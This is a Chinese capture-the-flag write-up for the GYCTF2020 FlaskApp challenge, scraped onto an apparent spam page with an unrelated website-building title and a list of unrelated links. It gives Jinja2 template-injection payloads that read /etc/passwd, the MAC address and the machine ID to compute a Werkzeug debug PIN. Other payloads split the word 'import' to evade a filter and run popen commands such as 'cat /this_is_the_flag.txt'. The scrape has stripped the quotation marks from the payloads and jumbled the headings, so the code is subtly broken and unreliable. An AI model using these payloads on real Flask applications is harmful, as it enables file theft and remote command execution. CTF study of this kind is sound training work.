当前位置: 首页 > news >正文

负责网站的建设规划邯郸教育平台网站建设

负责网站的建设规划,邯郸教育平台网站建设,企业网站制作模板免费下载,网站建设课程设计要求[GYCTF2020]FlaskApp 文章目录 [GYCTF2020]FlaskApp常用绕过方法掌握知识解题思路解题一 -- 计算pin码解题二 -- 拼接绕过 执行命令 关键paylaod 常用绕过方法 ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客 CTF 对SSTI的一些总结 - FreeBuf网…[GYCTF2020]FlaskApp 文章目录 [GYCTF2020]FlaskApp常用绕过方法掌握知识解题思路解题一 -- 计算pin码解题二 -- 拼接绕过 执行命令 关键paylaod 常用绕过方法 ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客 CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户 掌握知识 ​ ssti的python debug的PIN码计算调用debug命令行执行命令。存在ssti注入就能进行命令执行使用拼接操作绕过关键字过滤[os]。不同版本的python计算pin码的代码不同。python的模板注入可以通过for循环遍历子类特征名的方式来寻找能够执行命令的子类模块 ​ 其实计算pin码的题目不应该存在ssti模板注入只需要有文件读取和文件包含漏洞就行这样也就不会利用ssti模板注入进行任意代码执行了 解题思路 解题一 – 计算pin码 打开题目链接根据题目内容明显是一个flask模板的ssti注入查看一下hint界面在源码中发现pin字样。前几天刚学完在debug的环境下输入PIN码调用python的交互式shell 先来列举一下PIN码计算的六个关键参数吧pin码计算一定需要有文件包含和文件读取的漏洞。ssti就可以调用内部命令进行文件读取 username 运行该Flask程序的用户名 /etc/passwd文件内 modname 模块名 flask.app getattr() app名值为Flask getattr() Flask目录下的一个app.py的绝对路径这个值可以在报错页面看到。但有个需注意Python3是 app.pyPython2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode()) MAC地址读取这两个文件地址/sys/class/net/eth0/address或者/sys/class/net/ens33/address get_machine_id() 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup了解了需要读取的文件目录就要开始找能够执行文件读取函数的模块子类了。经过测试在加密界面输入ssti注入paylaod在将加密的内容解密就能触发执行结果。找到了ssti注入点开始寻找要利用的模块子类了 python的ssti注入可以利用for循环遍历子类通过if判断想寻找的子类名是否存在存在的话就执行后面代码就是遍历子类名寻找能够执行命令的子类得到主机用户名为flaskweb {% for x in {}.__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__].open(/etc/passwd).read() }}{%endif%} {%endfor%}通过输入不合规则的数据进行解密成功导致页面报错得到了Python的app.py的版本号和绝对路径根据版本的不同需要执行不同的代码进行计算pin码。输入pin码的界面可以查看目录console也可以在报错界面右面直接进入 接下来继续使用遍历子类的方式来读取MAC地址和主机id /sys/class/net/eth0/address /etc/machine-id换一种方式使用遍历paylaod只需要把上面的文件名进行修改即可得到。下面换另外一个子类进行命令执行只需要查询一下所有子类将网页回显的内容粘贴到notepad上将空格替换成\n换行即可显示为每一行为一个子类只需要全局搜索一下常见可以利用的子类看其行号即可确定所在的列表位置。 查看所有子类 {{().__class__.__bases__[0].__subclasses__()}}下面是利用_frozen_importlib._ModuleLock子类进行命令执行 获取主机用户名 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/etc/passwd).read()}}获取MAC地址 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/sys/class/net/eth0/address).read()}} 5a:52:2f:5d:cc:5d --- 99309028494429docker环境特有id {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/proc/self/cgroup).read()}} fc3dc388b7a8661f02eac8aefa9ffd2e6b5b7902b1369d6221cf4a51d8ff144a得到了全部的pin码计算的条件之后直接使用相应版本的pin码计算的脚本输入相应参数执行即可拿下pin码在相关界面输入pin码即可进去到Python的交互式界面调用os模块进行命令执行读取文件内容拿下flag 解题二 – 拼接绕过 执行命令 既然存在ssti注入还能执行文件读取函数那肯定就能执行系统命令了只不过是被过滤了罢了只需要将被过滤的内容进行拼接即可绕过。使用burp抓包测试paylaod发现过滤内容为import、os、popen、flag、eval、*、? 直接进行遍历子类寻找能够执行os模块系统命令的子类模块子类还是寻找存在warning字段的子类进行命令执行 {% for x in ().__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__][__imp ort__](os).__dict__[popen] (cat /this_is_the_flag.txt).read() }}{%endif%} {%endfor%}{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[__import__](os).__dict__[popen] (ls /).read()}}关键paylaod 遍历子类寻找能文件读取的子类 warnings.catch_warnings {% for x in {}.__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__].open(/etc/passwd).read() }}{%endif%} {%endfor%}遍历子类找到能命令执行的子类 {% for x in ().__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__][__imp ort__](os).__dict__[popen] (cat /this_is_the_flag.txt).read() }}{%endif%} {%endfor%}直接调用子类进行文件读取和命令执行 _frozen_importlib._ModuleLock {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/etc/passwd).read()}} {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[__import__](os).__dict__[popen] (ls /).read()}}
http://www.hkea.cn/news/14415720/

相关文章:

  • 网站开发 英文文章网站名怎么写
  • 哪个网站可以做兼职讲师财务公司
  • 百度网站搜索关键字网站网络营销公司
  • 网站可以自己做吗html5网站抓取
  • 公司网站设计模板电商网站有哪些特色
  • 成都网站建设新闻佛山网站优化好
  • 网站建设的具体方法中国铁建企业门户网站
  • 广州大型网站建设公司新网站怎么做优化
  • 成都建材网站建设月租网站空间
  • 网站验证图标推广链接打开
  • 苏州企业商务网站建设餐饮营销方案100例
  • 做网站和视频剪辑用曲面屏长春建设信息网站
  • 制作婚纱摄影网站管理图上海市房地产官网
  • wordpress 主题 ie8优化大师免安装版
  • 温州做网站公司哪家好网页游戏排行榜人气
  • 建设电子商务网站步骤前端网站开发总结
  • 英文网站建设szjijiewordpress变成圆角
  • 网站建站 外贸腾讯云wordpress安装教程
  • 包装东莞网站建设0769平面设计公司收费标准
  • 微软手机做网站服务器吗做网页制作
  • 网站制作公司天强科技潍坊网站建设工作室
  • 网站模板如何修改中国建设银行河北省门户网站
  • 乐昌北京网站建设印象笔记配置到wordpress
  • 河南英文网站建设公司wordpress安装完成访问不了
  • 建设网站需要哪些语言200做网站
  • 动漫网站网页设计哈尔滨网页制作人才招聘
  • 网站建设到那可以学习0317网站建设
  • 网站备案域名更改网页页面下载
  • 石家庄网站建设.神鹿网络人力资源外包灵活用工
  • 备案网站服务内容最近中文字幕2018免费版2019